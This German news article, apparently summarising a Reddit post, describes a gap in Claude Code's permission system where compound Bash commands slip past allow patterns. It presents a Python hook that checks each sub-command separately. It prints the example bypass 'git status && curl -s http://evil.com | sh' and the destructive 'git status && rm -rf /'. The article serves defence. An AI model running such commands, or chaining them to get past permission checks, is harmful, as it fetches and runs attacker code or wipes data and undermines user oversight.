Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

Sicherheitslücke im Berechtigungssystem von Claude Code
Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.
Die Lösung: claude-hooks
Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:
- Zerlegt zusammengesetzte Befehle durch Aufteilung an
&&,||,;,|, Zeilenumbrüchen und extrahiert rekursiv$()- und Backtick-Subshell-Inhalte - Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
- Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen
permissions.allow- undpermissions.deny-Muster - Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
- Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
- Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Einrichtungsanleitung
Die Installation dauert etwa 30 Sekunden:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyZu ~/.claude/settings.json hinzufügen:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.
Beispielverhalten
git status: Sowohl mit als auch ohne Hook erlaubtgit add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen aufgit *)git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf /hat keine Zulassung)`npm test | tee output.log`: ErlaubtFOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)
Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.
📖 Read the full source: r/ClaudeAI
👀 Siehe auch

OpenClaw Security: 13 praktische Schritte, um Ihren KI-Agenten abzusichern
Ein Reddit-Beitrag skizziert 13 Sicherheitsmaßnahmen für OpenClaw-Installationen, darunter das Ausführen auf einem separaten Rechner, die Nutzung von Tailscale zur Netzwerkisolierung, das Sandboxing von Subagenten in Docker und die Konfiguration von Allowlists für Benutzerzugriff.

Ward: Open-Source-Tool fängt npm-Installs ab, um Lieferkettenangriffe für Claude Code-Nutzer zu blockieren
Ward ist ein Open-Source-Tool, das sich in Paketmanager einklinkt, um jedes Paket zu überprüfen, bevor Installationsskripte ausgeführt werden. Wenn Claude Code npm install ausführt, scannt Ward automatisch Pakete auf Malware, Typosquatting, verdächtige Skripte und Versionsanomalien.

Claudes Konversationssuchwerkzeug gibt weiterhin gelöschte Chats zurück
Ein Claude Pro-Benutzer entdeckte, dass gelöschte Unterhaltungen über Claudes Gesprächssuchfunktion weiterhin abrufbar sind, wobei inhaltliche Angaben wie Titel, Nachrichtenanzahl und Auszüge zurückgegeben werden, obwohl die Chat-Links nicht mehr funktionieren.

Sieb: Lokaler geheimer Scanner für KI-Coding-Tool-Chatverläufe
Sieve durchsucht Cursor-, Claude Code-, Copilot- und andere KI-Chatverläufe nach durchgesickerten API-Schlüsseln und Tokens. Die gesamte Überprüfung erfolgt lokal, mit Schwärzung und macOS-Schlüsselbund-Vault.